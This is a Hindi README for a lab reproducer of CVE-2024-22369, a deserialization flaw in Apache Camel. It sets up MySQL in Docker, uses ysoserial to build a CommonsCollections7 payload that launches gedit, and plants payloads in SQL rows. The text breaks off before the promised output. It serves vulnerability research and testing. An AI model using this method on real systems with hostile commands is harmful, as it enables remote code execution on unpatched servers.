
CVE-2024-22369 पुनरुत्पादक
यह POC Huawei ओपन सोर्स मैनेजमेंट सेंटर के Ziyang Chen द्वारा बनाए गए रीप्रोड्यूसर पर आधारित है।
इस PoC को बनाने के लिए रीप्रोड्यूसर का उपयोग किया गया है, जिसमें कुछ समायोजन और सफाई की गई है, और कुछ और ऑटोमेशन भी जोड़ा गया है।
हमें एक MySQL इंस्टेंस की आवश्यकता होगी
docker run --name some-mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=my-secret-pw -e MYSQL_DATABASE=db -d mysql
अब हमें आवश्यक टेबल बनाने की आवश्यकता होगी:
आपके पास दो फ़ाइलें हैं: employee.sql और employee_completed.sql
निम्नलिखित कमांड चलाएँ:
docker run -it --rm mysql mysql -h 172.17.0.2 -uroot -p
अपना पासवर्ड डालें, USE db चलाएँ और दोनों SQL फ़ाइलों को चलाएँ।
इस चरण पर आपके पास डिसीरियलाइज़ेशन को पुन: उत्पन्न करने के लिए आवश्यक बिट्स पहले से ही हैं।
निम्नलिखित कमांड चलाएँ
docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' some-mysql
और पते को नोट कर लें।
अब अपने वातावरण की स्थिति के अनुसार src/main/resources/application.properties को संपादित करें।
हम जिस पेलोड का उपयोग कर रहे हैं वह commons-collections 3.2.1 पर आधारित है।
आपको इसका उपयोग करना होगा:
https://github.com/frohoff/ysoserial
कमांड लाइन से आप इस तरह से पेलोड को पुन: बना सकते हैं:
java --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ --add-opens java.base/java.net=ALL-UNNAMED \ --add-opens=java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections7 gedit | xxd -p
यह पेलोड का Hex संस्करण लौटाएगा। विचार यह है कि डिसीरियलाइज़ करते समय gedit कमांड चलाया जाए।
आप संभावित पेलोड के साथ खेल सकते हैं और INSERT स्टेटमेंट को बदलकर SQL स्क्रिप्ट बदल सकते हैं और नए जनरेट किए गए पेलोड जोड़ सकते हैं।
व्यवहार को पुन: उत्पन्न करने के लिए। सबसे पहले JDK 17 का चयन करें (स्थानीय रूप से या SDKMan के माध्यम से)।
फिर निम्नलिखित कमांड चलाएँ:
mvn clean install -Dcamel.version=4.3.0 -Dspring-boot.version=3.2.0 -Djava.version=17 spring-boot:run
यह निम्नलिखित आउटपुट देगा: